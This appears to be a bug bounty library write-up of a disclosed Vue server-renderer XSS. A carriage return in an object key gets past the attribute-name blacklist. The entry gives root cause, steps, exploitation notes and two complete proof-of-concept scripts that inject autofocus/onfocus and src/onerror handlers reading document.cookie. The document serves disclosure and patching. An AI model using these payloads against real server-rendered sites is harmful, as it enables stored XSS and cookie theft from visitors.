# @vue/server-renderer: XSS via missing CR in attribute-name blacklist

Vue SSR attribute-name blacklist omits CR, so a v-bind object key with \r splits into autofocus/onfocus attributes, yielding self-triggering XSS in server-rendered HTML.

- Payout: Research
- Severity: high
- Program: Vue
- Found by: onevilx
- Disclosed: 2026-10-05
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-g2v6-rqmx-r4w6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g2v6-rqmx-r4w6
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:parser-differential technique:source-review vuln:xss

**Target:** @vue/server-renderer ssrRenderAttrs / isSSRSafeAttrName
**Root cause:** isSSRSafeAttrName() blacklists tab, LF, FF, space and quote chars but not U+000D; browsers' input preprocessing converts bare CR to LF, which terminates an attribute name, so one key becomes multiple attributes.
**Steps:**
1. Install real packages: `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5`.
2. Call `ssrRenderAttrs({ ['x\rautofocus\ronfocus']: 'alert(document.cookie)' })` — key contains only letters and bare CR, passing the blacklist.
3. Output is ` x\rautofocus\ronfocus="alert(document.cookie)"`; embed as `<div${rawAttrString}>content</div>`.
4. Parse with parse5 (or open in browser): attributes split into `x=""`, `autofocus=""`, `onfocus="alert(document.cookie)"`.
5. autofocus fires focus on load, executing the handler with no user interaction; alternate payload `x\rsrc\ronerror` with `<img>` tag.
**How found:** Reasoned that SSR is the only place Vue template output becomes a real HTTP response body (server-side trust boundary), then read ssrRenderAttrs.ts: values go through escapeHtml but attribute names only hit a character blacklist. Compared the blacklist against WHATWG ASCII whitespace and the HTML tokenizer's CR→LF preprocessing step, spotting CR as the missing character.
**Exploitation:** Application must bind an object whose keys come from less-trusted input via `v-bind="object"` in SSR (e.g. CMS field names, config spread). Attacker-controlled key with embedded CR splits into autofocus + onfocus (or src + onerror) attributes; the value, escaped but placed as the last fragment's value, becomes the JS handler. Fires automatically for every visitor of the server-rendered page — stored XSS.
**Insight:** When auditing attribute/name sanitizers, compare the blacklist against the parser's input-preprocessing normalization (CR→LF, CRLF→LF) and the full ASCII-whitespace set — a character the sanitizer sees as inert can become a delimiter after the browser normalizes it.

## Proof of concept (copied exactly from the original report)

**PoC script with CR-injected attribute key**

```
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';

// This is exactly what compiled SSR output calls for `<div v-bind="userObject">`
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST \r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'x\rautofocus\ronfocus';
const props = {
  [maliciousKey]: 'alert(document.cookie)',
};

const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n'));

const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));

// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// \r\n -> \n input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the <div>:');
for (const attr of div.attrs) {
  console.log(`  ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}

const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
  console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***');
  console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);
  console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');
} else {
  console.log('Not confirmed.');
}
```

**Script writing real SSR output to HTML file**

```
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';

// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed
// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,
// it is Vue's own function's real return value, captured programmatically.
const maliciousKey = 'x\rsrc\ronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };

const vueOutput = ssrRenderAttrs(props);

console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));

// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag
// content between the angle brackets is copied byte-for-byte from vueOutput,
// not retyped.
const html = `<!DOCTYPE html>
<html>
<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>
<body>
<h3>Everything inside the &lt;img&gt; tag below was written to this file
programmatically from the real return value of <code>ssrRenderAttrs()</code>
in the actual installed <code>@vue/server-renderer@3.5.41</code> package.
No HTML was hand-typed for the tag itself.</h3>
<p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '&lt;')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;

const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('\nWrote', outPath);
console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.');
```

